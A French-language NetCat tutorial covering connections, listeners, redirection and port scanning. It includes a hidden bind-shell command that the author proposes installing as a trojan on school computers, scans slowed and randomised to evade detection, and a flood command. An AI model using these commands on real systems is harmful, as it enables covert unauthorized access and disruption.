NetCat

TCP/UDP, sockets, ports,... On entend ca partout mais on sait pas trop comment chipoter avec :) Ou alors il faut commencer à se casser la tête à apprendre du C, puis à apprendre WinSock, puis à mélanger les 2, puis... :)))))))))

Je vous propose cette fois-ci un petit utilitaire, tout petit, tout frais, tout puissant, qui s'appelle NetCat.
D'abord je vous conseille d'aller tout de suite le chercher, comme ca ca sera fait => http://www.l0pht.com/~weld/netcat/
Mais au fait, avant d'aller le chercher, j'aimerai bien savoir ce que ca fait ce truc :)

INTRO

Ben voilà. NetCat est un célèbre utilitaire en ligne de commande, qui permet de faire à peu près tout ce que vous voulez avec des sockets.
Un socket, c'est une connection entre 2 ordinateurs.
Pour identifier un socket, il faut 3 trucs:
-les IPs des 2 ordinateurs connectés.
-les ports des 2 ordinateurs qui sont connectés.
-le protocole utilisé.

Par exemple, quand je suis sur IRC sur #iga, mon mIRC utilise un socket entre mon IP (ex:165.169.45.12)+un port temporaire (ex:1035) et l'IP du serveur (antwerpen.be.eu.undernet.org)+le port du serveur (6667). Et le type de connection est de type TCP dans ce cas-là.

Les avantages de NetCat ?
Il permet d'ouvrir facilement des connections quelconques (TCP ou UDP) sans savoir programmer, aussi bien pour créer des petits clients/serveurs, que pour tester un programme à vous :)
Il existe sur plusieurs systèmes (Windows 95/98,NT,Linux,Unix,...)
Il est utilisable à la ligne de commande, ce qui va permettre de facilement l'incorporer dans des scripts, etc...

Enfin, vous pouvez aussi remarquer que toutes les sources sont disponibles... Aussi bien dans la version Unix (assez habituel ;), quand dans la version Windows (vachement plus rare, c'est pas le style de M-------t :)
En fait, c'est vraiment un programme à tout faire... On va voir ca un peu plus en détail ;)

NETCAT CLIENT

On va donc commencer par le début :)
Pour ouvrir un socket, rien de plus simple. Par exemple, je veux me connecter sur IRC. Je tape ceci:

```
NETCAT antwerpen.be.eu.undernet.org 6667
```

Et je me retrouve connecté sur le serveur antwerpen ! Tout ce que vous taperez ensuite au clavier sera envoyé directemment dans le socket, vers antwerpen.
Là vous me regardez en disant "tient il connait pas mirc suilà, moi je trouve pas ca trop marrant de me connecter sur irc avec struc de fou".

NetCat est un outil à tout faire. Il permet simplement de gérer un socket. D'envoyer... De recevoir... Pas plus... Ca veut dire qu'il ne connait aucun protocole comme IRC,FTP,etc... Mais ca veut dire aussi qu'il nous affiche exactemment ce qui se passe dans la connection, qu'il n'effectue aucun traitement, et qu'il envoie aussi exactemment ce que l'on veut qu'il envoie.
Certains vont ptêt se dire que Telnet de Windows fait la même chose...
Et là... détrompez vous hehe :)
Telnet envoie pleins de saloperies à votre insu ;)))

Justemment, à propos de Telnet, NetCat vous permet d'émuler la négociation telnet. Kessa veut dire scharabia ? Ca veut dire que NetCat vous permet justemment d'émuler un client comme Telnet, en envoyant les saloperies dont je parlai en plus ;)

Pour cela, pas compliqué:

```
NETCAT -t <adresse_ip_d'un_serveur_telnet> 23
```

Et voilà... Cette fois ci, plus de problèmes, toute la négociation telnet est faite par NetCat. Et vous voyez en plus ce qu'il envoie. N'est-ce pas merveilleux ?

NETCAT SERVEUR
==============
Maintenant qu'on a un peu chipoté pour voir ce que NetCat faisait en mode client, nous allons essayer de faire un petit serveur.
Par exemple, nous allons ouvrir sur notre machine le port 21, et faire croire à l'imbécile qui se connecte qu'il est tombé sur un Wingate :)))
Voici la syntaxe:

```
NETCAT -l -p 23
```

-l pour dire qu'on est en mode listen (on attend une connection sur un port)
-p 23 pour dire que le port sur lequel on attend la connection est le port 23.
On lance, et puis NetCat s'arrête...
Merde vlà tout est planté !!! Ohh que non :)
Maintenant, on va lancer un petit client telnet, comme le telnet de Windows, et on se connecte sur notre IP, port 23.
Par exemple, on lance le telnet de windows, "telnet 127.0.0.1 23"
Et qu'est-ce qu'on observe ? On observe que notre client telnet se connecte bien sur notre petit serveur...
Maintenant, on tape dans NetCat une petite phrase, et magiquement, cette petite phrase apparaît dans le client Telnet.
Tant qu'on y est, on tape une petite phrase dans le client Telnet, et...
Et ben quoi elle s'affiche pas à l'écran notre phrase ?
Pourtant, en allant voir dans l'écran de NetCat, le serveur a bien recu notre tite phrase :)
Qu'est-ce que je vous disait que Telnet vous cachait des choses hein ;)

Maintenant on déconnecte le client Telnet, et voilà que NetCat se coupe.
Pas très pratique un serveur qui se coupe après une connection...
Pour cela, il existe une autre commmande:

```
NETCAT -L -p 23
```

Cette fois-ci, le "-L" majuscule annonce à NetCat qu'il doit attendre des connections en permanence. Voilà qui est plus pratique :)

Un autre exemple:
Lancons ceci:

```
NETCAT -l -p 80
```

Puis, nous lancons Internet Esplorer sur l'adresse "http://127.0.0.1".
ensuite, on retourne vite dans NetCat, et oh ! sacrilège ! damnation !
En regardant un peu mieux les lignes que Internet Explorer envoie au serveur web (NetCat ici), on comprend aussi un peu mieux comment il font pour savoir tout ce qu'il y a sur notre machine, chez Microsoft ;)))

Ouaip c bien tes trucs, mais pour revenir au Wingate, si je dois chaque fois qu'il y a une connection qui s'ouvre, taper très vite "Wingate>" pour simuler un Wingate, ca risque de paraître assez louche, et de vite m'emmerder surtout :)
Et c'est là qu'apparait le génie de NetCat... :)

REDIRECTIONS ENTREES/SORTIES
============================
Du fait qu'il est utilisable à la ligne de commande via des paramètres, NetCat va nous permettre de facilemment le programmer et l'utiliser dans des petits scripts (aussi un batch sous Linux qu'avec un .bat sous Dos/Windows).

Nous allons donc créer un petit fichier wingate.txt, qui contient la ligne suivante:
Wingate>

Ensuite, nous lancons la commande suivante:

```
NETCAT -L -p 23 < wingate.txt
```

Ensuite, on relance notre client Telnet.
Et là ! Magie :)
Qu'est-ce qui se passe ?
NetCat, à la place de recevoir les caractères du clavier, va les chercher dans notre fichier wingate.txt, et les envoie tel quels. N'est ce pas formidable ;)

Et si nous voulons logger tout ce qui est tapé à notre faux Wingate ?
Ben nous lancons ceci:

```
NETCAT -L -p 23 > wingate.log
```

Et le tour est joué :)
Maintenant encore plus fort ! hehe :)
Ouaip c'est pas mal ca, mais bon le texte dans le fichier je ne sais pas le changer une fois que c'est lancé tout ca. Ca reste quand même fort fictif...

Maintenant, nous allons essayer de nous programmer un petit serveur qui va nous permettre de contrôler notre ordi à distance :)

NetCat permet les redirections à partir d'un fichier, en entrée, et en sortie.
Mais NetCat permet aussi de rediriger les entrées et sorties d'un programme vers un socket :)
Lancons plutôt:

```
NETCAT -L -p 23 -e c:\command.com
```

Ensuite, nous lancons "Telnet 127.0.0.1 23".
Et voilà que notre command.com s'affiche dans notre fenêtre Telnet :)
Donc en réfléchissant bien, si vous savez programmer en GWBasic (sorti en 1852 :)))), et que vous savez utiliser PRINT et INPUT, vous allez sans problème pouvoir créer un beau petit shell pour votre Windows ;))))
En fait, grâce à cette option, si vous savez programmer un programme qui utilise les interfaces standard d'entrée/sortie (en Pascal, en C,...), vous n'avez plus du tout à vous occuper de la programmation des sockets !!!
Il vous suffit simplement d'afficher et de saisir les données comme si c'était un programme à la ligne de commande et c'est NetCat qui s'occupe de tout gérer via un socket.

Tient, encore une petite option intéressante, mais uniquement pour Windows celle-là (jpense que c la seule, râlez pas les linuxiens quoi ;)
Ca vous tenterait hein d'installer un beau petit shell comme ca sur un ordi dans votre école hein ? hehehe. Je le voit dans vos yeux :)
Tapez un ti peu:

```
NETCAT -L -p 23 -d -e c:\command.com
```

Et voilà qu'il sort tout de suite !
Lancons tout de même Telnet, pour être certain.
Tient tient... Voilà que Telnet est connecté !!!
L'option -d détache simplement NetCat de la console, ce qui fait qu'il reste actif en mémoire (on le voit dans la liste des tâches), mais pas dans la liste des fenêtres :)
Pour faire un beau pti trojan sur un ordi, suffit donc de lancer cette commande au démarrage, et un beau serveur s'installe tranquillement sur le port 23 sans rien montrer à personne :)

HACKING

Comme NetCat est un outil à tout faire, il peut forcémment aider à faire des choses biens... et des choses moi bien...
Comme le dit à peu près le mec de chez L0pht qui a écrit le programme:
"si je vous donne un tournevis, vous pouvez aussi bien réparer ma bagnole en utilisant ce ptit outil bien sagement que la foutre en l'air en bourant dedans comme un malade" ;))))

NetCat contient toute une série d'option qui sont orientée scan.
Scanner c'est avant tout essayer de voir quels sont les services disponibles sur les ports d'une machine distante.

Pour cela c'est pas compliqué.
En fait, il suffit de taper une série de ports à la place d'un seul port.
Par exemple, si on tape 1-100, NetCat va ouvrir des connections sur les ports de 1 à 100. Le problème est que NetCat ne nous indique pas comme cela le numéro du port ouvert. Il faut donc que nous utilisions aussi l'option -v et même 2x, "-vv", pour avoir des informations sur les connections.
Tapons par exemple:

```
NETCAT -vv 127.0.0.1 1-100
```

Cette commande va scanner les ports 1 à 100 de votre ordinateur.
Une fois ca lancé, vous allez voir que NetCat va afficher des messages "refused" sur tout les ports qui ne sont pas ouverts, et qu'il affiche entre () le service courant qui se trouve sur ce port (quand il y en a un spécifique). Si le port est ouvert, NetCat affiche un message "Open".
Il faut aussi remarquer que NetCat scan du haut vers le bas. Par exemple si on entre comme ports 1-100, il va scanner 100,99,98,...,3,2,1.

Pour changer ca, il existe une petite option bien pratique, -r.
Essayer un ti peu de taper:

```
NETCAT -vv -r 127.0.0.1  100-110
```

Si vous observez attentivement, on remarque que NetCat scan maintenant les ports complètement au hasard dans l'intervall 100 à 110.
Voilà qui est bien intéressant ! En effet, pas mal de système de protections de scan sont basés sur une détection sur des ports consécutifs :)))

NetCat n'est pas limité, on peut entrer toute une série de ports.
Par exemple, on peut scanner de cette manière:

```
NETCAT -vv -r 127.0.0.1 1-1024 4900-5000 6667
```

Dans ce cas, NetCat va donc scanner les ports de 1 à 1024, les ports de 4900 à 5000, et le port 6667. Cependant, il est utile de remarquer que l'option -r ne travaille que par range, c'est à dire que NetCat va scanner tout les ports de 1 à 1024 au hasard, puis passer au range suivant, et non pas scanner tout les ports au hasard dans n'importe qu'elle ordre.

En fait, dans ce cas-ci, dès que NetCat trouve un port ouvert, il s'arrête, et permet d'envoyer des données à ce port. Pour effectuer un scan rapide, qui ne s'arrête pas si le port est ouvert, il faut utiliser en plus le switch -z.
Par exemple:

```
NETCAT -vv -r -z 127.0.0.1 130-140
```

au niveau des ports, NetCat supporter l'envoi à plusieurs ports en parallèle (c'est ce qu'on fait pour scanner en fait ;), mais on peut aussi utiliser ca pour flooder. Par exemple, on peut taper la commande suivante:

```
NETCAT 127.0.0.1 139 139 139 139 139 139 139 139 139 139
```

Voilà je pense que c'est à peu près tout au niveau des ports scan,etc... :)

DIVERS AUTRES TRUCS

La première chose est que toutes les options dont j'ai parlé peuvent être aisémment combinée, aussi bien en tant que client, qu'en mode serveur, ou qu'en scannant.
Par exemple, on peut ouvrir une connection vers un serveur en spécifiant un port source sur le client bien précis:

```
NETCAT -p 65000 www.antwerpen.be.eu.undernet.org 6667
```

Dans ce cas-ci, par exemple, ca va permettre au client d'être connecté avec comme port local le port 65000, ce qui est un port tellement haut qu'il faut déjà y aller pour essayer de vous déconnecter, par exemple avec un Click (ICMP Nuke), qui d'habitude attaque les ports d'allocations temporaires, qui généralement sont les ports de 1024 à 5000.

NetCat possède une petite option diablement intéressante ! :))
Il s'agit de l'option -u.
Cette option permet de créer des sockets UDP à la place de sockets TCP.
La chose la plus intéressante est probablement de scanner des ports UDP à la place de TCP, en utilisant les options -z et -u. En effet, il n'existe pas beaucoup de bons scanners UDP sur le marché, mais par contre il existe pas mal de services qui sont implémentés sur des ports UDP ! (DNS,TFTP,...);)))

Il y a aussi une option de time-out, -w.
Par exemple,

```
NETCAT -w 5 antwerpen.be.eu.undernet.org 6667
```

va arrêter netcat après 5 secondes si la connection n'est pas établie.

Il y a aussi une option -i, qui permet de spécifier un délai de scan, pour ne pas scanner trop vite (ce qui parait souvent louche, et est facilemment repérable).
Par exemple, pour scanner en essayant le moins possible de se faire remarquer, on peut taper la commande suivante:

```
NETCAT -vv -z -i 10000 -r 127.0.0.1 1-200
```

qui va scanner toutes les 10000 millisecondes (tt les 10 secondes) un port au hasard sur la machine 127.0.0.1, de 1 à 200.

Une autre option très intéressante, particulièrement pour debugger des programmes ou analyser des protocoles, est l'option -o.

Par exemple, en tapant:

NETCAT -o netbios.log 127.0.0.1 139

NetCat va logger dans le fichier netbios.log toute les octets recus, mais sous forme de dump hexadécimal, ce qui est assez pratique dans certains cas:)

Pour ceux qui connaissent TCP/IP en détail, NetCat contient aussi une option qui permet d'envoyer des packets "source-routed", donc des packets qui sont envoyés via des routers dont on spécifie les IPs, grâce aux options -g et -G. Et enfin, NetCat supporte aussi le choix d'un IP dans le cas d'un ordinateur relié à plusieurs interfaces d'IPs différents.

Pour terminer, si vous avez un petit problème, n'hésitez surtout pas à taper la commande NETCAT -h , qui affiche un résumé de toutes les commandes disponibles, puis je vous conseille aussi de lire le petit fichier .TXT fourni avec NetCat, qui explique pas mal de petits trucs intéressants à faire avec NetCat.